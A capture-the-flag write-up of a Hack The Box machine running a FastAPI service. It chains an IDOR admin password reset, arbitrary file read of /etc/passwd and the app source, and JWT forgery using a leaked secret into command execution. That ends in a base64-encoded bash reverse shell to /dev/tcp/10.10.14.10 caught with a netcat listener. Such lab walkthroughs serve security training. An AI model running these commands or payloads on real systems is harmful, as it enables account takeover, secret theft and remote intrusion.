Reconnaissance & Enumeration#
- Nmap scan results:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Uvicorn
|_http-title: Site doesn't have a title (application/json).
| http-methods:
|_ Supported Methods: GET
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 17.734 days (since Sun Feb 16 04:30:26 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 265.74 ms 10.10.14.1
2 265.82 ms 10.10.11.161
- After hours of fuzzing I found multiple endpoints, where by simply playing with endpoints in burp we can reveal more.
- But one in particular
/docs
asks for authentication cookie. We can also do directory fuzzing in recursive mode with any tool but I personally found the endpoints just by guessing them. - There is one signup endpoint which is
api/v1/user/signup
. Using this endpoint I can create an account. - After enumerating further on that endpoint I found all the data parameters of it. Now I can create an account using this
curl -v -X POST 'http://10.10.11.161/api/v1/user/signup' -H 'Content-Type: application/json' -d '{"email":"Emp5r0R@king.com", "password":"password"}' | jq
- Eventually I found another endpoint which is
/login
. But initially it was showing error on sending the json data but it turns out this endpoint only accept HTML data. I curled the endpoint
curl -v 'http://10.10.11.161/api/v1/user/login' -d 'username=Emp5r0R@king.com&password=password' | jq .
In return I got the JWT token
Curl Output:
I used this extension to modify the header, I could’ve used burp interceptor but for some reason it didn’t worked for me as intended.
I tried to access
/docs
endpoint with providing the token, After including it, I was redirected toFastAPI
interface.Surpisingly,
SecretFlagEndpoint
straight out gaveUser flagI didn’t expect this
After some enumeration I found this endpoint
/api/v1/user/0
which on modifying the Id parameter spits out user information. This Id1
gave me the admin details.
curl -X 'GET' \
'http://10.10.11.161/api/v1/user/1' \
-H 'accept: application/json' | jq
- I can change password of any user If I had
guid
, As I already have theguid
of useradmin
I can changeadmin
account’s password by curling this endpoint/api/v1/user/updatepass
with valid data.
curl -X 'POST' \
'http://10.10.11.161/api/v1/user/updatepass' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"password": "emperor"
}'
- Using the newly changed password I authorized myself with
FastAPI
Now I can access admin endpoints as I am an admin now to FastAPI
Here the endpoint
file
seems to be useful, actually I can read arbitary files using this endpoint. First let me try and access/etc/passwd
curl -X 'POST' \
'http://10.10.11.161/api/v1/admin/file' \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE' \
-H 'Content-Type: application/json' \
-d '{
"file": "/etc/passwd"
}' | jq
It was successfull
However when I try to run commands using this endpoint
/api/v1/admin/exec/<commands>
I get this error. Hmm… what could it be 🤔From
/etc/passwd
I got to know that userhtb
hasbash
access.
Exploitation#
- To identify the web application running directory I can request to read this file path
/proc/self/environ
. From reading the file I identified the running directory of this web.
curl -X 'POST' \
'http://10.10.11.161/api/v1/admin/file' \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE' \
-H 'Content-Type: application/json' \
-d '{
"file": "/proc/self/environ"
}' | jq -r '.file'
- The path should be this
/home/htb/uhc/app/main.py
- I requested for the source code using
file
endpoint and got it
import asyncio
from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi
from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud
app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)
@app.get("/", status_code=200)
def root():
"""
Root GET
"""
return {"msg": "UHC API Version 1.0"}
@app.get("/api", status_code=200)
def list_versions():
"""
Versions
"""
return {"endpoints":["v1"]}
@app.get("/api/v1", status_code=200)
def list_endpoints_v1():
"""
Version 1 Endpoints
"""
return {"endpoints":["user", "admin"]}
@app.get("/docs")
async def get_documentation(
current_user: User = Depends(deps.parse_token)
):
return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")
@app.get("/openapi.json")
async def openapi(
current_user: User = Depends(deps.parse_token)
):
return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)
app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)
def start():
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
if __name__ == "__main__":
# Use this for debugging purposes only
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
- This is just a basic code let’s analyze other files. From the import headers I can learn about other file locations.
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
- On requesting
/app/core/config.py
I got the jwt secret
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
from enum import Enum
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-Hack The Box"
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
# BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
# e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \
# "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []
@validator("BACKEND_CORS_ORIGINS", pre=True)
def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
if isinstance(v, str) and not v.startswith("["):
return [i.strip() for i in v.split(",")]
elif isinstance(v, (list, str)):
return v
raise ValueError(v)
SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"
class Config:
case_sensitive = True
settings = Settings()
- Forging JWT Token
- Earlier while trying to access
/execute/<Command>
I got missingdebug
key error - I can forge a JWT with debug option included.
- On working on this I got error because Of time skew between the target(JWT Token) and my system is too high. So I made this program to display the time stamp from the token
- Earlier while trying to access
import jwt
import time
import datetime
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE"
decoded_payload = jwt.decode(token, options={"verify_signature": False})
print(decoded_payload)
iat_timestamp = decoded_payload['iat']
current_time_timestamp = int(time.time())
print(f"iat timestamp: {iat_timestamp}")
print(f"current time timestamp: {current_time_timestamp}")
print(f"iat datetime: {datetime.datetime.fromtimestamp(iat_timestamp)}")
print(f"current datetime: {datetime.datetime.fromtimestamp(current_time_timestamp)}")
- This was the output, As we can see the time skew is 3 hours(approx).
- So I made the code to adapt to the time and forged jwt token
import jwt
import datetime
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE"
secret = "SuperSecretSigningKey-Hack The Box"
leeway = datetime.timedelta(hours=3)
decoder = jwt.decode(token, secret, ["HS256"], leeway=leeway)
print(decoder)
decoder["debug"] = True # Adding debug option.
encoded_token = jwt.encode(decoder, secret, algorithm="HS256") #encode the dictionary.
print(f"Encoded token: {encoded_token}")
Got the token
Using the token, I executed some commands via
/api/admin/exec/<command>
and It worked
curl -v -X 'GET' \
'http://10.10.11.161/api/v1/admin/exec/pwd' \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQiLCJkZWJ1ZyI6dHJ1ZX0.yWQeRZjjOrROK-XosRoR8lMf52e3YxNtX4bhj3haUBw'
- Getting reverse shell
Encoded bash reverse shell payload into base64.
echo 'bash -c "exec bash -i &>/dev/tcp/10.10.14.10/6001 <&1"' | base64
- Then created this payload, here
%20
represents white space in URL encoded form. - The raw command here is
echo <Base64-encoded-payload> | base64 -d | bash
- Final payload for reverse shell:
curl -s \
'http://10.10.11.161/api/v1/admin/exec/echo%20YmFzaCAtYyAiZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTAvNjAwMSA8JjEiCg==%20|%20base64%20-d%20|%20bash' \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQiLCJkZWJ1ZyI6dHJ1ZX0.yWQeRZjjOrROK-XosRoR8lMf52e3YxNtX4bhj3haUBw'
- Opened a netcat listener on my system (
nc -lnvp 6001
) and got the shell connection, then I upgraded the shell
Privilege Escalation#
- Found a file called
uhc.db
- It had password hash for my accounts and for other but nothing useful
- There was another interesting file named
auth.log
. Which had admin logon logs, Also it had a string which seemed out of place. - Actually that was the password for root user.
- Got theRoot flag